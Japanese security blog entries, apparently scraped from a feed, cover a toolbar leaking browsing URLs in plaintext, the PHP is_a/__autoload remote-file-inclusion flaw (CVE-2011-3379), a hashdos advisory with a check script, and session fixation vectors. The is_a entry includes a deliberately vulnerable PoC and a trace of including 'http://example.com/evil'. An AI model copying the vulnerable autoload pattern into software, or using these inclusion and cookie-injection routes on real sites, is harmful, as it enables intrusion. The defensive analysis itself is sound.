Quantcast
Channel: 徳丸浩の日記
Viewing all 194 articles
Browse latest View live

Tポイントツールバーを導入するとSSL通信の履歴までもが盗聴可能になる

$
0
0
twitterなどでTポイントツールバーの利用規約が話題になっています。このエントリでは、Tポイントツールバーを実際に導入して気づいた点を報告します。結論として、当該ツールバーを導入すると、利用者のアクセス履歴(SSL含む)が平文で送信され、盗聴可能な状態になります。

追記(2012/08/10 20:10)
たくさんの方に読んでいただき、ありがとうございます。一部に誤解があるようですが、ツールバーが送信している内容はURLだけで、Cookieやレスポンスまでも送信しているわけではありません。URLを送信するだけでも、以下に示す危険性があるということです。
追記終わり

追記(2012/08/13 23:50)
ポイントツールバーにバージョンアップがあり、WEB閲覧履歴の送信がSSL通信に変更されました。従って、WEB閲覧履歴が盗聴可能な状況は回避されました。本日22:50頃確認しました。
追記終わり

導入

Tポイントツールバーの導入は以下の手順です。
  1. T-IDの登録(アカウント作成)
  2. ツールバーのダウンロード
  3. ツールバーの導入
詳しくはサイトのインストール手順をご覧下さい。私は、WindowsXP SP3とInternet Explorer 8の組み合わせで検証しました。インストールの途中で ieframe.dll が見つからないというエラー(下図)でインストーラーが停止しましたが、再度実行するとインストールできました。


使ってみる

それでは、さっそくTポイントツールバーを使ってみましょう。IE起動時の画面は以下となります。



ツールバーの左端にTポイントカードのロゴがあり、その右に検索キーワードの入力欄があります。Tポイントツールバーは、Tサイトにログインした状態で使用する想定のようです。ログインしてから、入力欄に「育毛剤」と入力して検索してみます。



検索結果のドメインは、tsearch.tsite.jp ですし、T-IDでログインした状態なので、利用者のキーワード収集は、ツールバーではなく、このサイトの側で行っているのかもしれませんね。画面の検索ボタンの右に「Powered by Yahoo!」とあるので、検索エンジンはYahoo!のOEMなのでしょう。キーワード検索広告もYahoo!のもののようです。


WEB閲覧履歴の送信

ところで、Tポイントツールバーの利用規約には以下のように書かれています。
第6条(履歴の収集)

1. 利用者は、当社が提供した本ツールバーをインストールした利用者端末による全てのWEB閲覧履歴(閲覧したURL、検索キーワード、ファイル名及びアクセス日時等の履歴情報をいい、以下「WEB閲覧履歴」といいます)が当社により取得されることをあらかじめ承諾するものとします。
実際のところツールバーがWEB閲覧履歴を収集しているかを確認してみましょう。IEで、https://www.hash-c.co.jp/?PHPSESSID=ABCDEFGHIJK0123456789 を閲覧してみます。すると、以下のHTTPリクエストがPOSTされます。文字の一部をマスク表示して、読みやすいように改行を追加しています。xxxとなっているのは、謎の3バイトです。
POST /service/track.cgi?y=-8588570930699932058 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727)
Content-Type: application/x-www-form-urlencoded
Host: log.opt.ne.jp
Content-Length: 183
Expect: 100-continue
Connection: Keep-Alive

xxx&
mid=4A7DZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ50170&
tlsc_l=NVEpO4ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZU_s&
u=https%3a%2f%2fwww.hash-c.co.jp%2f%3fPHPSESSID%3dABCDEFGHIJK0123456789
log.opt.ne.jpというホストに、閲覧履歴が平文で(HTTPSではなくHTTPで)送信されています。
これは問題がありますね。閲覧履歴がカルチュア・コンビニエンス・クラブ株式会社によって取得されることは利用規約に書いてありますが、「閲覧履歴が平文送信されるので、カルチュア・コンビニエンス・クラブ株式会社以外のものに盗聴により取得されるかもしれない」ことは利用規約には書かれていないからです。
実はTカードツールバーの利用規約には以下のようにも書かれています。
第10条(免責事項)
1.利用者は、自己の判断と責任の下で、本ツールバーを利用するものとします。本ツールバーを利用したこと又は利用できなかったこと若しくは第3条に基づくTポイントの付与が受けられなかったことにより、利用者に損害、その他の不利益が生じたとしても、当社は一切責任を負いません。
一般的に利用規約にはこの種の免責事項を書くものではありますが、免責を記しているからと言って利用者の閲覧履歴を粗末に扱ってよいということにはならないと思います。それに、FAQのページには以下のように書かれています。


上記は、データが漏洩しないとは書いていませんが、「テスト済みですので、ご安心下さい」と書いてあれば、多くの利用者は、カルチュア・コンビニエンス・クラブという大きな会社が運営していることもあって、データの安全性にも配慮してあるのだろうと暗黙に了解するのではないでしょうか。


URLの平文送信の影響

利用者の閲覧履歴であるURLを平文送信することにより、HTTPSアクセス時のURLが盗聴される可能性が出て来ます。この影響について考えます。
まず、URLにセッションIDを埋め込んであるサイト(携帯電話向けサイトでは一般的な方式ですが、他のサイトにも存在します)では、セッションIDが盗聴されることにより、成りすましのリスクがあります。
また、セッションIDでなくても、URLに秘密情報を埋め込むことによりアクセス制御をする場合があります。また、画像ファイルやPDFについても、URLを秘密にすることによりアクセス制御をしているサイトがあります。とあるネットバンクの取引明細のPDFは、URLに乱数が埋め込まれていますが、URLを知っているとパスワードなしでアクセスできてしまいます。 このようなサイトについても、URLを盗聴されることにより、成りすましやデータの窃取の危険性が生じます。
これら、成りすまし等以外にも、どのページをアクセスしたかを第三者に知られたくないという状況もあるでしょう。Tポイントツールバーを導入すると、Webのセキュリティ強度は強制的に低下します。それは、利用規約などには書いていないことです。

利用者固有番号


追記(2012/08/10 20:25)
以下のパラグラフで、「固有の利用番号」を利用者にひもつくものと解釈しておりましたが、そう解釈する必然性はないことに気がつきました。むしろ、端末の結びついた情報と解釈した方が日本語としては自然かもしれません。しかし、端末にひもつく「番号」は機能の実現に不可欠とは言えないと考えます。一方、利用者にひもつく情報は、閲覧履歴を収集するという仕様を実現するためには不可欠なもので、それを番号と呼ぶか、ユーザIDと呼ぶかということに過ぎず、以下の指摘はやや的外れでした。指摘している脅威が存在することには変わりませんが、その原因は、(1)Web閲覧履歴を収集すること自体が問題、(2)仮に閲覧履歴を収集するなら暗号化して送信するべき、ということです。
追記終わり

Tポイントツールバーの利用規約には以下のように「利用番号」についての記載があります。
第6条(履歴の収集)
【略】
3. 本ツールバーには固有の利用番号が登録されています。当該利用番号は、本ツールバーが機能するために必要な情報であり、無効化あるいは削除することはできません。
「固有の利用番号」というと嫌な感じですが、先ほどのPOSTデータの中に、この「利用番号」は含まれるのでしょうか。先のPOSTデータには、mid および tlsc_l と言うパラメータがあり、ログイン・ログアウトしてもこの値は変わりません。これらのいち、私は tlsc_l の方が「固有の利用番号」のような気がしました。その根拠は、以下の通りです。
  • ツールバーインストール直後のT-SITEにログイン前の状態では、tlsc_lは空である
  • T-SITEのWebアプリケーションの発行するCookieにも tlsc_l というCookieがあり、TポイントツールバーのPOSTする tlsc_l と値が同じ
  • 端末を変えても、T-IDが同じなら tlsc_l は同じ。midの方は端末毎に変わる
  • Cookieのtlsc_lの方も、ログイン毎に値は変化しない

「固有の利用番号」が、TポイントツールバーのPOSTデータについていることから、以下のような困ったことが起こり得ます。


利用者固有番号の悪影響

たとえば、PROXYサーバーを経由でアクセスしている場合、平文の(HTTPSでない)リクエストはPROXYサーバー上で監視することができます。一方、HTTPSのリクエストについては、アクセスしているホスト名まではわかりますが、URLは分かりません。
しかし、TポイントツールバーのPOST値を監視できる立場の人は、「固有の利用番号」がついていることにより、特定ユーザの挙動把握が容易になります。
たとえば、とあるユーザが、https://twitter.com/#!/ockeghem/HiddenList を頻繁にアクセスしているとします。これはtwitterのリストのURLですが、このリストが非公開となっている場合、このユーザは、twitter IDがockeghem(すなわち私)であると推測できます。
すると、このユーザと同じ「固有の利用番号」がついてるWEB閲覧履歴は、すべて私のアクセスできることが分かってしまいます。

Tポイントツールバーの利用者にとって、WEB閲覧履歴がCCCに伝わることは利用規約上で(建前上は)許諾しています。しかし、第三者にもWEB閲覧履歴が漏れることまでは許諾していません。それが起こってしまう原因は、Tポイントツールバーの以下の設計上の問題に起因しています。
  • WEB閲覧履歴の平文送信(根本原因)
  • 「固有の利用番号」の存在(攻撃を容易にする要因)

まとめ

Tポイントツールバーについて紹介しました。
Tポイントツールバーは、利用者のアクセス履歴(URL)をログ収集サーバーに送信しますが、(1)平文通信である、(2)固有の利用番号がつく、ことがセキュリティ上の問題となります。

とくに、利用者のアクセス履歴を平文で送信することにより、Webサイトのセキュリティ強度を勝手に下げてしまう点は致命的であると考えます。これが許容できる利用者は、ほとんどいないでしょう。カルチュア・コンビニエンス・クラブ株式会社は、至急、以下のいずれかの対処をすべきです。

  • 利用規約に上記セキュリティ上のリスクを明記する
  • WEB閲覧履歴の送信をSSL通信に変更する
  • Tポイントツールバーの提供を停止し、既存ユーザには強制アップデートにて履歴送信機能を止める。log.opt.ne.jpも停止する

※前2項を一応考えましたが、どう考えてもダメなので、当エントリ公開時に削除しました。

PHPのis_a関数における任意のコードを実行される脆弱性(CVE-2011-3379)とは何だったか

$
0
0
少し古いバージョンになりますが、PHP5.3.7および5.3.8のis_a関数には「任意のコードを実行される脆弱性(CVE-2011-3379)」があります。
任意のコードが実行されるとはただならぬ感じですが、このCVE-2011-3379はほとんど話題になっていません。なぜでしょうか。それは、この脆弱性が発現する条件が、レアなケースに限られるからです。
このエントリでは、CVE-2011-3379について少し詳しく説明することを通して、脆弱性情報の見方について考えてみます。

is_a関数とis_subclass_of関数

PHPにはis_a関数とis_subclass_of関数というよく似た関数があります。以下PHP5.3.6までの「元々の」仕様について説明します。
is_a関数は、2つの引数をとり、第1引数のクラス(インスタンスで指定)が、第2引数のクラス(クラス名で指定)またはそのサブクラスであるか否かを返します。
<?php
class A {}
class SubA extends A {}
$parent = new A();
$sub = new SubA();
var_dump(is_a($parent, 'A'));       // true
var_dump(is_a($parent, 'SubA'));  // false
var_dump(is_a($sub, 'A'));           // true
var_dump(is_a($sub, 'SubA'));      // true
is_subclass_of関数は、第1引数のクラス(インスタンスかクラス名で指定)が、第2引数のクラス(クラス名で指定)のサブクラスか否かを返します。
<?php
class A {}
class SubA extends A {}
$parent = new A();
$sub = new SubA();
var_dump(is_subclass_of($parent, 'A'));     // false
var_dump(is_subclass_of($parent, 'SubA'));   // false
var_dump(is_subclass_of($sub, 'A'));            // true
var_dump(is_subclass_of($sub, 'SubA'));       // false
var_dump(is_subclass_of('A', 'A'));               // false
var_dump(is_subclass_of('A', 'SubA'));        // false
var_dump(is_subclass_of('SubA', 'A'));        // true
var_dump(is_subclass_of('SubA', 'SubA'));   // false

PHPの__autoload関数

PHPには、__autoload関数というものがあります。この関数は、未定義のクラスが参照された際に、そのクラスの定義を自動的に読み込めるようにするものです。
<?php
function __autoload($classname) {
  include($classname . '.php');  // class名に .php をつけたファイルをインクルードする
}
$x = new X();  // クラスXは未定義なので、__autoload('X')が暗黙に呼び出される
               // 結果的に、X.phpがインクルードされる

前述のis_subclass_of関数の題意引数に指定したクラス名が、未定義クラスを指す場合も、__autoload関数が呼び出されます。
<?php
function __autoload($classname) {
  include($classname . '.php');  // class名に .php をつけたファイルをインクルードする
}
var_dump(is_subclass_of('X', 'A'));  // __autoload('X')が暗黙に呼び出される

PHP5.3.7におけるis_subclass_of関数の変更

PHP5.3.7にて、is_subclass_of関数の仕様が少し変わります(Bug #53727)。PHP5.3.6以前では、インターフェースBを実装しているクラスImplBは、is_subclass_of関数はfalseを返し、ImplBのサブクラスについてはtrueを返していました。
<?php
interface B {}
class ImplB implements B{}
class SubImplB extends ImplB{};
$parent = new ImplB();
$sub = new SubImplB();
var_dump(is_subclass_of($parent, 'B'));     // false
var_dump(is_subclass_of($sub, 'B'));        // true
var_dump(is_subclass_of('ImplB', 'B'));     // false
var_dump(is_subclass_of('SubImplB', 'B'));  // true
これに対して、PHP5.3.7では、インターフェースについてもis_subclass_of関数はtrueを返すようになりました。すなわち、上記の表示はいずれもがtrueを表示するように変わりました。

PHP5.3.7において副作用的に発生したis_a関数の仕様変更

インターフェースの扱いはCVE-2011-3379とは直接関係ないのですが、上記変更に伴って、is_a関数の仕様が変わりました。

  • 第1引数としてクラス名(文字列)が指定できるようになった
  • 第1引数に指定したクラス名が未定義クラスの場合、__autoload関数が呼び出されるようになった

すなわち、以下の例では、__autoload('X')が暗黙に呼び出されます。
<?php
function __autoload($classname) {
  include($classname . '.php');  // class名に .php をつけたファイルをインクルードする
}
var_dump(is_a('X', 'A'));  // __autoload('X')が暗黙に呼び出される
なぜ、このような変更が起こってしまったかという原因ですが、is_a関数とis_subclass_of関数は中味がよく似ているため、実装は共通であり、スイッチで処理内容が切り替わるようになっているためと思われます。具体的には、zend_builtin_functions.c内のis_a_impl関数の第2引数only_subclassの値でこの2つの関数を切り替えています。
このため、is_subclass_of関数の変更の影響が、is_a関数にも及んだものと推測されます。

is_a関数の仕様変更の影響

PHP5.3.7のリリースが2011年8月18日ですが、8月22日にはis_a関数がautoload関数を呼び出すようになったことが問題としてbug.php.netにあがっています(Bug #55475)。

PHP5.3.6とは仕様が変わっていることは明らかですが、Bug #55475のスレッドでは、以下のような議論が行われました。
  • まぁ、これはこれで一貫した処理なのでは?
  • でも、安定版の中で振る舞いが変わるのはやはりまずいよ
  • PEARだと、この影響でまずいことがある
  • これはセキュリティバグだ。第1引数にURLが指定されると、リモートファイルインクルード(RFI)になる
ここでは、PEARの件と、セキュリティバグの件を紹介します。

PEARライブラリFileオブジェクトの誤動作例

PEARライブラリ中のFileオブジェクトには、readAllというメソッドがあります。以下に示すように、ファイル名を指定して呼び出すと、ファイルの中味が文字列として帰ります。エラーの場合はPEAR_Errorというクラスのインスタンスが返るので、PEAR::isErrorメソッドでエラー判定します。
<?php
require_once 'File.php';
$content = File::readAll(FILENAME);
if (PEAR::isError($content)){
 問題は、このエラー判定です。isErrorの実装をいかに示します。
function isError($data, $code = null)
{
  if (!is_a($data, 'PEAR_Error')) {
    return false;
  }
  if (is_null($code)) {
    return true;
  } elseif (is_string($code)) {
    return $data->getMessage() == $code;
  }
  return $data->getCode() == $code;
}
is_a関数で、PEAR_Errorクラスのインスタンスであるかどうかを比較していますが、$dataの中身が、「PEAR_Error」という文字列だったらどうでしょうか。is_a関数は、is_a('PEAR_Error', 'PEAR_Error')という呼び出しになりPHP5.3.7ではtrueが帰ります。結果として、isErrorはtrueを返してしまいます。
つまり、ファイルの中身が「PEAR_Error」だったら、正常な読み込みができた場合でもエラーとして判定されてしまうことになります。
そんなにしょっちゅうあるとは思えませんが、不完全なプログラムであることには間違いありません。しかも、これが脆弱性として発現する場合もあるのです。これがCVE-2011-3379です。

is_a関数とPEARの合わせ技で脆弱性に

Cipriano Groenendal氏のブログ記事から、脆弱性のあるスクリプトを紹介します。
<?php
function __autoload($class_name) {
  include $class_name . '.php';
}
$uploaded_file = File::readAll($uploaded_filename);
if (PEAR::isError($uploaded_file)){
  echo "error : $uploaded_file\n";
}else{
  echo "success : $uploaded_file\n";
}
このスクリプトは、__autoload関数が定義されていて、未定義のクラスが参照された場合に、クラス名に.php拡張子をつけたファイルをインクルードするようになっています。処理の中身は、利用者がアップロードしたファイルを読み込んで、画面に表示するものです。PoCなので、XSS対策していないのは目をつぶることにしましょうw

ここで問題は、PEAR::isErrorメソッドが内部でis_a関数を読んでいるので、ファイルから読み込んだ文字列に対して、is_a関数が呼び出されることです。

たとえば、ファイルの中身が http://example.com/evil だったとすると、

PEAR::isError('http://example.com/evil');
 ↓
is_a('http://example.com/evil', 'PEAR_Error');
 ↓  // http://example.com/evil というクラスは未定義なのでautoload
__autoload('http://example.com/evil');
 ↓
include('http://example.com/evil.php');

上記の流れで、(allow_url_include = Onの場合、但しデフォルトはOff)http://example.com/evil.php からスクリプトが読み込まれて実行されてしまうことになります。これはリモートファイルインクルード攻撃(RFI)の成功です。

また、allow_url_include = Offの場合でも、利用者がアップロード機能を利用して、拡張子がphpのファイルにPHPスクリプトを書き込むことができ、そのファイル名を外部から知ることができれば、ローカルファイルインクルード攻撃(LFI)が可能です。
  • 利用者がPHPスクリプトをアップロードする。ファイル名は /var/data/12345.php となる
  • 利用者が /var/data/12345 という文字列をアップロードする
  • 上記の流れで、/var/data/12345.php がインクルードされ、スクリプトが実行される
拡張子がphpで、中味がPHPスクリプトというファイルをアップロードできること自体がとても恐ろしいアプリケーションであるわけですが、外部からこのスクリプトを起動できなければ、LFIは成立しません。しかし、is_a関数の仕様変更により、「元々は外部から起動できないはずのスクリプトが起動できてしまう」ことが問題です。

攻撃が成立する条件

上記シナリオ以外にもis_a関数が__autoload関数を呼び出すシナリオがあるかもしれませんが、それを考え出すときりがないので、上記シナリオの場合に、攻撃が成立する条件を考えます。それは以下をすべて満たす場合です。
  • PHP5.3.7またはPHP5.3.8を使っている(PHP5.3.9で対策されているため)
  • PEAR - Fileなど、外部からの入力に対して、直接・間接にis_a関数を呼び出している
    典型的にはファイルアップロード機能があり、その中味をFile::readAll関数で読み出している
  • アップロード機能によりテキストファイルをアップロードできる
  • __autoload関数を定義している
  • 以下のいずれかが成立する
    •  allow_url_includeがOnである
    •   利用者がPHPスクリプトを拡張子が.phpのファイルとしてアップロードでき、ファイル名を推測できる

対策

対策は以下の通りです。PHP5.3.9以降を用いれば、問題は発生しません。
  • PHPの最新版を用いる。PHP5.3.9で対策されている(必須)
  • is_a関数ではなく、instanceof演算子を用いる(推奨)
  • Fileクラスを使わない。File::readAll関数の代わりに、file_get_contentsが利用できる(推奨)
  • __autoload関数を実装する場合は、クラス名の妥当性確認を行う(強く推奨、後述)

考察・まとめ

is_a関数のちょっとした仕様変更が、思わぬ脆弱性の原因になってしまった例を紹介しました。
 正直言って、is_a関数の仕様はイケテナイと思います。現に、is_a関数はPHP5.0.0でいったん非推奨になっていますが、「利用者からの要望が多かったため」、PHP5.3.0で非推奨でなくなったという経緯があります。
 PHP5.3.9での対策は、is_a関数のデフォルトでは第1引数に文字列をとれなくしましたが、追加の第3引数により、文字列でのクラス名の指定も可能にしたものです。詳しくは、is_a関数のリファレンスを参照下さい。

 is_a関数は、元々第1引数の型(クラス)を調べるものなのに、文字列の時だけ中味(クラス名)をチェックするのは、筋が悪く、思わぬバグを生み出す原因になります。CVE-2011-3379は正にその例です。PHP5.3.9での対策は、「デフォルトでは文字列指定できなくしたけど、スイッチで、オブジェクトまたは文字列の指定もできる」というものですが、オブジェクトを入力とする関数と、文字列を入力とする関数は本来は別に用意するべきでしょう。

 また、is_a関数(元々はis_subclass_of関数)が、クラス未定義の場合に__autoloadを呼び出す仕様がそもそも余計なおせっかいと思いますが、仮に__autoloadを呼び出すのであれば、クラス名(識別子)としての妥当性を確認すべきでしょう。現状では、クラス名として「1」や「/var/data/evil」など(クラス名にできない文字列)を指定しても、そのまま__autoloadが呼び出されます。
 このため、PHP利用者側で取れる対策としては、__autoload関数側でクラス名の妥当性チェックをするのがよいと思いますが、本来は、PHP側で対策すべきと考えます。

セキュリティ情報:PHP5.4.8、PHP5.3.18以前にhashdos脆弱性

$
0
0
PHP5.4.8以前、PHP5.3.18以前には、mbstring.encoding_translationが有効になっている場合にhashdos攻撃に脆弱であることが分かりましたので報告します。

一昨日、PHP5.4.9とPHP5.3.19が公開されましたが、changelogを読んで驚きました。
Mbstring:
    Fixed bug #63447 (max_input_vars doesn't filter variables when mbstring.encoding_translation = On).
http://www.php.net/ChangeLog-5.php#5.4.9より引用
mbstring.encoding_translationが有効になっている場合、max_input_varsが有効にならないというのです。これは、hashdos脆弱性の対策が無効になることを意味します。

これは大変だということで、PHP5.4.8とPHP5.4.9で検証してみました。その結果を以下に示します。
mbstring.encoding_translation
OffOn
PHP5.4.8OKNG
PHP5.4.9OKOK

ご覧のように、確かにPHP5.4.8で、かつmbstring.encoding_translationが有効の場合、max_input_varsのチェックが無効です。これは、hashdos攻撃を受けることを意味しますので、試しにやってみました。多数のhashdosリクエストをPOSTした状態の top コマンドの表示を下記に示します。MaxClientsは50です。


50個のapache2プロセスがすべてhashdosリクエストの処理に占有されています。このリクエスト、1プロセスのみで動作させた場合 5~6分かかるので、50プロセス並行だと4~5時間占有されることになります。この間、新たなリクエストを受け付けることができなくなります。

検証はPHP5.4.8以外にPHP5.4.0でも実施しましたが、PHP5.4.8と同じ結果となりました。おそらく、PHP5.4.8以前のすべてのバージョンでこの問題があると予想されます。

CentOSやUbuntuのPHPパッケージは問題ない

CentOSやUbuntuのyumやapt-getでPHPパッケージを導入した環境でも調べてみましたが、不思議なことに、この問題は再現しませんでした。原因は不明ですが、これらのPHPパッケージでは、max_input_varsの確認方法として、オリジナルとは別の実装が採用されている可能性があります。
調査したディストリビューションとPHPパッケージのバージョン、確認結果を下表に示します。少し古いバージョンですがご了承下さい。個別の判定については、後述のチェック用スクリプトをご活用下さい。

LinuxディストリビューションPHPパッケージバージョン結果
CentOS release 5.5php-5.1.6-27.el5_7.5OK
CentOS release 6.2php-5.3.3-3.el6_2.6.i686OK
Ubuntu 10.04.1 LTS5.3.2-1ubuntu4.14OK
Ubuntu 12.04 LTS5.3.10-1ubuntu3OK

チェック用スクリプト

hashdosの状態を確認するためのスクリプトを作成してみましたので、Webサイトのチェックにご活用下さい。 このスクリプトを任意のファイル名(PHPスクリプトとして実行できる拡張子)でチェック対象Webサーバーに保存して下さい。Webブラウザを用いて、このスクリプトを実行すると、結果が表示されます。JavaScriptを有効にして下さい。チェック終了後はスクリプトを削除して下さい。
<?php
if (@$_GET['mode'] === 'check') {
header('Content-Type: text/plain');
echo (int)count($_POST);
exit;
}
$max_input_vars = ini_get('max_input_vars');
$postnumber = (int)$max_input_vars + 10;
if ($max_input_vars === false) {
$max_input_vars = 'undefined';
}
?>
<html>
<head>
<title>PHP hashdos checker</title>
</head>
<body>
PHP version : <?php echo htmlspecialchars(phpversion()); ?><br>
max_input_vars : <?php echo htmlspecialchars($max_input_vars); ?><br>
mbstring.encoding_translation : <?php
echo htmlspecialchars(ini_get('mbstring.encoding_translation')); ?><br>
<div id='result'></div>
<div id='judgment'></div>
<script>
var n = <?php echo (int)$postnumber; ?>;
var data = '';
for (var i = 1; i <= n; i++) {
data += i + '=&';
}
var req = new XMLHttpRequest();
req.onreadystatechange = function() {
if (req.readyState == 4 && req.status == 200) {
var count = req.responseText;
document.getElementById('result').appendChild(
document.createTextNode('Number of POST parameters : ' + count));
if (count < n) {
judgment = 'This web server is NOT vulnerable to hashdos.';
} else {
judgment = 'This web server is VULNERABLE to hashdos.';
}
document.getElementById('judgment').appendChild(document.createTextNode(judgment));
}
}
req.open('POST', '?mode=check' );
req.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
req.send(data);
</script>
</body>
</html>

いくつか、動作例を下記に示します。

環境結果
PHP5.4.8PHP version : 5.4.8
max_input_vars : 1000
mbstring.encoding_translation : 1
Number of POST parameters : 1010
This web server is VULNERABLE to hashdos.
PHP5.4.9
(mbstring.encoding_translation = On)
PHP version : 5.4.9
max_input_vars : 1000
mbstring.encoding_translation : 1
Number of POST parameters : 0
This web server is NOT vulnerable to hashdos.
PHP5.4.9
(mbstring.encoding_translation = Off)
PHP version : 5.4.9
max_input_vars : 1000
mbstring.encoding_translation :
Number of POST parameters : 1000
This web server is NOT vulnerable to hashdos.
Ubuntu 12.04 LTS
5.3.10-1ubuntu3
PHP version : 5.3.10-1ubuntu3
max_input_vars : 1000
mbstring.encoding_translation : 1
Number of POST parameters : 1001
This web server is NOT vulnerable to hashdos.

上記から、興味深いことが分かります。
PHP5.4.9では、mbstring.encoding_translationがOnの時とOffの時で、防御のための挙動が変わります。Offの場合は、変数の数が max_input_varsまで切り詰められます。Onの場合は、POST変数がすべて削除されます。
また、Ubuntu12.04のPHPパッケージを導入している場合、mbstring.encoding_translationに関わりなく(上記には出ていませんが)、max_input_vars + 1 に変数の数が切り詰められます。私の調べた範囲では、LinuxディストリビューションのPHPパッケージはすべてこうなっていて、「LinuxディストリビューションのPHPパッケージはmax_input_varsのチェック方法が異なるのではないか」と思った根拠はこれです。

対策

再現条件がはっきりしないため、上記チェックスクリプトで、脆弱性の確認をお勧めします。対策が必要な場合は、下記の手段があります。
  • PHPの最新版を導入する(本稿執筆時点でPHP5.4.9、またはPHP5.3.19)
  • mbstring.encoding_translation をOffに設定する(可能な場合)
  • hashdosの回避策を実装する
  • hashdosのリスクを受容する
hashdosの回避策については、下記エントリを参考にしてください。
現在分かっているところでは、hashdosのリスクは、攻撃を受けている最中Webサイトがリクエストに応じられなくなることです。情報漏洩や改ざんはありません。最悪、数時間~数日間サイトが使えなくなっても良いなら、リスクを受容するという選択肢もあるでしょう。


免責

このセキュリティ情報は予告なしに改訂される場合があります。このセキュリティ情報を適用した結果について徳丸浩およびHASHコンサルティング株式会社は一切の責任を負わず、利用者の利益のために、あるがままの状態で公開するものとします。

PR

HASHコンサルティング株式会社では、Webサイトを安全に守るためのセキュリティサービスを提供しています。WAF(Web Application Firewall)による効果的な脆弱性対策(hashdosを含む)や、リスクの評価、対策方法の策定、セキュリティの教育などを提供します。詳しくはお気軽にお問い合わせ下さい

セッションフィクセイション脆弱性の影響を受けやすいサイトとは

$
0
0
最近、セッションフィクセイション脆弱性に対する関心がなぜか高まっています。同脆弱性は割合地味な脆弱性であり、話題になることはあまりありません。そこで、関心の高いこの時期に、セッションフィクセイション脆弱性の影響を受けやすいサイトについて説明し、注意を喚起したいと思います。

セッションフィクセイション脆弱性とは

セッションフィクセイション(セッションIDの固定化)脆弱性は、なんらかの方法で利用者(被害者)のブラウザ上でセッションIDを強制的に指定して、その後利用者がログインしたタイミングで、攻撃者が「ログイン済みのセッションID」を知ることができるという脆弱性です。「安全なウェブサイトの作り方(改訂第五版)」P17から図を引用します。


図の「2.何らかの方法で自分が取得したセッションIDを利用者に送り込む」手法は、安全なウェブサイトの作り方では説明されていません。そこで、以下に「セッションIDを利用者に送り込む」手法について説明します。

セッションIDを送り込む方法(1) URL埋め込みのセッションID

携帯電話向けコンテンツなどで、セッションIDをURLに埋め込んでいるサイトがあります。この場合は、セッションIDを埋め込んだURLをリンクとして用意しておき、利用者に閲覧させるだけでセッションIDを送り込むことができます。
しかし、この場合、利用者が罠のリンクを踏んだ後、他のサイトに遷移する前に攻撃対象サイトにログインしないと、セッションフィクセイション攻撃は成立しません。

セッションIDを送り込む方法(2) Cookieに保存したセッションID

多くのWebサイトでは、セッションIDをCookieに保存しています。この場合、ブラウザかWebアプリケーションに脆弱性があれば、セッションIDを利用者のCookieに送り込むことができます。

(1)ブラウザのバグ(Cookie Monster Bug)
IEには、地域型JPドメイン名および都道府県型JPドメイン名に対して、Cookie Monster Bugというバグ(脆弱性)があります。たとえば、domain=tokyo.jpという属性のCookieをIEは受け入れてしまいます。
都道府県型JPドメイン名は、日本に住所を持つ個人・法人なら誰でも取得できるため、攻撃者がexample.tokyo.jpを取得して、そこに domain=tokyo.jp 属性のCookieをセットする罠を仕掛け、例えばwww.metro.tokyo.jp(東京都のホームページ)にも有効なセッションIDを利用者に「送り込む」ことが可能です(東京都のホームページはあくまで一例です)。

(2)CookieをセットできるWebアプリケーション脆弱性
攻撃対象のサイトにXSS脆弱性や、HTTPヘッダインジェクション脆弱性があると、そのサイトの利用者にCookieを送り込むことができる場合があります。
XSSやHTTPヘッダインジェクション脆弱性は単独でもなりすまし攻撃可能な場合が多いのですが、例えばリダイレクト処理にHTTPヘッダインジェクション脆弱性がある場合、「HTTPボディにJavaScriptは埋め込めないが、Cookieのセットならでき」ます。この場合、HTTPヘッダインジェクション攻撃とセッションフィクセイション攻撃の合わせ技で、なりすましができることになります。

(3)サブドメインを踏み台にした攻撃
当該サイトに脆弱性がなくても、同じドメイン上の別ホストに脆弱性がある場合、脆弱性のあるホスト上でセットしたCookieによりセッションフィクセイション攻撃ができます。これはブログ記事「セッションアダプションがなくてもセッションフィクセイション攻撃は可能」で攻撃例として示した方法です。

また、地域型JPドメイン名や都道府県型JPドメイン名の上のサイトにXSSやHTTPヘッダインジェクション脆弱性がある場合、同じ都道府県に有効なCookieをセットして、同じ都道府県の地域型JPドメイン名や都道府県型JPドメイン名のサイトにセッションフィクセイション攻撃を仕掛けることができます。たとえば、サイトexample.tokyo.jpにXSS脆弱性がある場合、これを悪用して domain=tokyo.jpのCookieを指定することにより、例えばwww.metro.tokyo.jp(東京都のホームページ)にも有効なセッションIDを「送り込む」ことが可能です。

影響を受けやすいサイト

ここまで、セッションフィクセイション攻撃の経路を示しました。上記から、セッションフィクセイション攻撃の影響を受けやすいサイトは下記に示す性質のものです。

  • URLにセッションIDを埋め込んでいるサイト
  • 地域型JPドメイン名または都道府県型JPドメイン名を用いているサイト
  • サブドメイン形式のレンタルサーバー
  • サブディレクトリ形式のレンタルサーバー
  • 同じドメイン上に脆弱なサイトがある(可能性の高い)サイト
  • HTTPヘッダインジェクション(などCookie設定可能な)脆弱性のあるサイト

対策

ここまで「セッションIDを送り込む」方法と、それが可能な条件を示しましたが、条件に該当するサイトが直ちに危険という訳ではありません。一般的に、「セッションIDが送り込まれてしまう」ことを防ぐことは困難な場合があるため、これを受け入れ、「セッションIDが送り込まれてもセッションハイジャックはされない」ように対策することが一般的です。
その方法は、「安全なウェブサイトの作り方」(P19)に下記のように書かれています。
ログインが成功した時点から新いセッションを開始する(新しいセッションIDでセッション管理をする)ようにします。また、新しいセッションを開始する際には、既存のセッションIDを無効化します。
PHPでこれを実現するには、ログイン成功直後に下記を実行します。
session_regenerate_id(true);
これは容易に実現できるため、セッションフィクセイション攻撃を受けやすいか否かに関わらず、かならず上記を実施するようにしましょう。影響の受けやすさを検討しなければならないケースとしては、既存サイトが上記対策を実施しておらず、かつ対策がすぐにできない場合です。その場合は、セキュリティの専門家にチェックをしてもらうとよいと思いますが、セッションフィクセイション脆弱性に関してはとっとと直してしまった方が安い気がします。


[PR]Webサイトのセキュリティ施策はHASHコンサルティング株式会社まで

ブラインドSQLインジェクションのスクリプトをPHPで書いたよ #phpadvent2012

$
0
0
この記事はPHP Advent Calendar 2012の20日目です。昨日はTakayuki Miwaさんの「ComposerとHerokuではじめる!PHPクラウド生活」でした。

